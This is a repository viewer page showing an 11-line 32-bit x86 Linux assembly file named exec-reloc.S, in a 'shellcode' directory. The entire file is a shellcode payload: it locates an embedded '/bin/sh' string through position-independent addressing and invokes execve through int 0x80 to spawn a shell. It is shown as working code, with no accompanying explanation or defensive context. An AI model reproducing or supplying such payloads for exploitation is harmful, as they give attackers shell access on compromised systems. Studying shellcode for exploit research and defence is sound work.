summaryrefslogtreecommitdiff
path: root/shellcode/exec-reloc.S
blob: 077babbe3a2b6cd6bf87dc6776c165c01bfbe85d (plain)
1
2
3
4
5
6
7
8
9
10
11
.global _start
_start:
movl $11, %eax
call next
next:
movl (%esp), %ebx
addl $(_cmd-next), %ebx
int $0x80
_cmd:
.ascii "/bin/sh"
.byte 0